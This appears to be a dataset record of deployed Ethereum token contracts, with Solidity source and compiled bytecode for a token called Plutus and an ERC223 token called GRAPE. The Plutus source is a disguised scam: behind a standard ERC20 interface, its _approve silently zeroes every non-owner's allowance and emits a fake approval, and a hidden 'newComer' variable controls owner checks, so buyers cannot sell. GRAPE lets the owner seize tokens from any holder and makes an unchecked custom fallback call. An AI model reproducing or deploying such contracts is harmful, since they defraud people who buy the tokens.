emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Plutus is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**6* 10**18;
string private _name = 'Plutus ' ;
string private _symbol = 'PLU ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220116508adc443409d9f97f30557d46addcd518b3fd751666b34e179e47521792864736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,353 |
0x88735c50abbb3658ca4d03e37240ff99a9426b75
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
// ERC223 functions and events
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/**
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title GRAPE
* @author GRAPE
* @dev GRAPE is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract GRAPE is ERC223, Ownable {
using SafeMath for uint256;
string public name = "GRAPE";
string public symbol = "GRP";
uint8 public decimals = 8;
uint256 public initialSupply = 60e9 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping (address => uint) balances;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function GRAPE() public {
totalSupply = initialSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf(_from) >= _unitAmount);
balances[_from] = SafeMath.sub(balances[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = SafeMath.add(totalSupply, _unitAmount);
balances[_to] = SafeMath.add(balances[_to], _unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = SafeMath.mul(amount, 1e8);
uint256 totalAmount = SafeMath.mul(amount, addresses.length);
require(balances[msg.sender] >= totalAmount);
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount);
Transfer(msg.sender, addresses[i], amount);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balances[addresses[i]] >= amounts[i]);
balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i]);
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf(owner) >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
balances[owner] = SafeMath.sub(balances[owner], distributeAmount);
balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev token fallback function
*/
function() payable public {
autoDistribute();
}
}
/*
* Powered by coingrape
*/
|
0x6060604052600436106101245763ffffffff60e060020a60003504166305d2035b811461012e57806306fdde031461015557806318160ddd146101df578063313ce56714610204578063378dc3dc1461022d57806340c10f19146102405780634f25eced1461026257806364ddc6051461027557806370a08231146103045780637d64bcb4146103235780638da5cb5b14610336578063945946251461036557806395d89b41146103b65780639dc29fac146103c9578063a8f11eb914610124578063a9059cbb146103eb578063b414d4b61461040d578063be45fd621461042c578063c341b9f614610491578063cbbe974b146104e4578063d39b1d4814610503578063f0dc417114610519578063f2fde38b146105a8578063f6368f8a146105c7575b61012c61066e565b005b341561013957600080fd5b6101416107d0565b604051901515815260200160405180910390f35b341561016057600080fd5b6101686107d9565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a457808201518382015260200161018c565b50505050905090810190601f1680156101d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ea57600080fd5b6101f2610881565b60405190815260200160405180910390f35b341561020f57600080fd5b610217610887565b60405160ff909116815260200160405180910390f35b341561023857600080fd5b6101f2610890565b341561024b57600080fd5b610141600160a060020a0360043516602435610896565b341561026d57600080fd5b6101f261098b565b341561028057600080fd5b61012c60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061099195505050505050565b341561030f57600080fd5b6101f2600160a060020a0360043516610aeb565b341561032e57600080fd5b610141610b06565b341561034157600080fd5b610349610b73565b604051600160a060020a03909116815260200160405180910390f35b341561037057600080fd5b61014160046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610b8292505050565b34156103c157600080fd5b610168610dfd565b34156103d457600080fd5b61012c600160a060020a0360043516602435610e70565b34156103f657600080fd5b610141600160a060020a0360043516602435610f3b565b341561041857600080fd5b610141600160a060020a0360043516611016565b341561043757600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061102b95505050505050565b341561049c57600080fd5b61012c60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506110fd9050565b34156104ef57600080fd5b6101f2600160a060020a03600435166111ff565b341561050e57600080fd5b61012c600435611211565b341561052457600080fd5b61014160046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061123195505050505050565b34156105b357600080fd5b61012c600160a060020a0360043516611518565b34156105d257600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506115b395505050505050565b6000600754118015610696575060075460015461069390600160a060020a0316610aeb565b10155b80156106bb5750600160a060020a0333166000908152600a602052604090205460ff16155b80156106de5750600160a060020a0333166000908152600b602052604090205442115b15156106e957600080fd5b600034111561072657600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561072657600080fd5b600154600160a060020a031660009081526009602052604090205460075461074e91906118d9565b600154600160a060020a0390811660009081526009602052604080822093909355339091168152205460075461078491906118eb565b600160a060020a0333811660008181526009602052604090819020939093556001546007549193921691600080516020611cb983398151915291905190815260200160405180910390a3565b60085460ff1681565b6107e1611ca6565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b5050505050905090565b60065490565b60045460ff1690565b60055481565b60015460009033600160a060020a039081169116146108b457600080fd5b60085460ff16156108c457600080fd5b600082116108d157600080fd5b6108dd600654836118eb565b600655600160a060020a03831660009081526009602052604090205461090390836118eb565b600160a060020a0384166000818152600960205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020611cb98339815191528460405190815260200160405180910390a350600192915050565b60075481565b60015460009033600160a060020a039081169116146109af57600080fd5b600083511180156109c1575081518351145b15156109cc57600080fd5b5060005b8251811015610ae6578181815181106109e557fe5b90602001906020020151600b60008584815181106109ff57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610a2d57600080fd5b818181518110610a3957fe5b90602001906020020151600b6000858481518110610a5357fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610a8357fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610ac357fe5b9060200190602002015160405190815260200160405180910390a26001016109d0565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610b2457600080fd5b60085460ff1615610b3457600080fd5b6008805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610b97575060008551115b8015610bbc5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610bdf5750600160a060020a0333166000908152600b602052604090205442115b1515610bea57600080fd5b610bf8846305f5e1006118fa565b9350610c058486516118fa565b600160a060020a03331660009081526009602052604090205490925082901015610c2e57600080fd5b5060005b8451811015610db657848181518110610c4757fe5b90602001906020020151600160a060020a031615801590610c9c5750600a6000868381518110610c7357fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015610ce15750600b6000868381518110610cb357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610cec57600080fd5b610d3060096000878481518110610cff57fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054856118eb565b60096000878481518110610d4057fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055848181518110610d7057fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a3600101610c32565b600160a060020a033316600090815260096020526040902054610dd990836118d9565b33600160a060020a0316600090815260096020526040902055506001949350505050565b610e05611ca6565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b60015433600160a060020a03908116911614610e8b57600080fd5b600081118015610ea3575080610ea083610aeb565b10155b1515610eae57600080fd5b600160a060020a038216600090815260096020526040902054610ed190826118d9565b600160a060020a038316600090815260096020526040902055600654610ef790826118d9565b600655600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b6000610f45611ca6565b600083118015610f6e5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610f935750600160a060020a0384166000908152600a602052604090205460ff16155b8015610fb65750600160a060020a0333166000908152600b602052604090205442115b8015610fd95750600160a060020a0384166000908152600b602052604090205442115b1515610fe457600080fd5b610fed84611925565b1561100457610ffd84848361192d565b915061100f565b610ffd848483611b53565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156110555750600160a060020a0333166000908152600a602052604090205460ff16155b801561107a5750600160a060020a0384166000908152600a602052604090205460ff16155b801561109d5750600160a060020a0333166000908152600b602052604090205442115b80156110c05750600160a060020a0384166000908152600b602052604090205442115b15156110cb57600080fd5b6110d484611925565b156110eb576110e484848461192d565b90506110f6565b6110e4848484611b53565b9392505050565b60015460009033600160a060020a0390811691161461111b57600080fd5b600083511161112957600080fd5b5060005b8251811015610ae65782818151811061114257fe5b90602001906020020151600160a060020a0316151561116057600080fd5b81600a600085848151811061117157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790558281815181106111af57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161112d565b600b6020526000908152604090205481565b60015433600160a060020a0390811691161461122c57600080fd5b600755565b6001546000908190819033600160a060020a0390811691161461125357600080fd5b60008551118015611265575083518551145b151561127057600080fd5b5060009050805b84518110156114f557600084828151811061128e57fe5b906020019060200201511180156112c257508481815181106112ac57fe5b90602001906020020151600160a060020a031615155b80156113025750600a60008683815181106112d957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156113475750600b600086838151811061131957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561135257600080fd5b61137584828151811061136157fe5b906020019060200201516305f5e1006118fa565b84828151811061138157fe5b6020908102909101015283818151811061139757fe5b90602001906020020151600960008784815181106113b157fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410156113e057600080fd5b611439600960008784815181106113f357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205485838151811061142a57fe5b906020019060200201516118d9565b6009600087848151811061144957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205561148c8285838151811061147d57fe5b906020019060200201516118eb565b915033600160a060020a03168582815181106114a457fe5b90602001906020020151600160a060020a0316600080516020611cb98339815191528684815181106114d257fe5b9060200190602002015160405190815260200160405180910390a3600101611277565b600160a060020a033316600090815260096020526040902054610dd990836118eb565b60015433600160a060020a0390811691161461153357600080fd5b600160a060020a038116151561154857600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1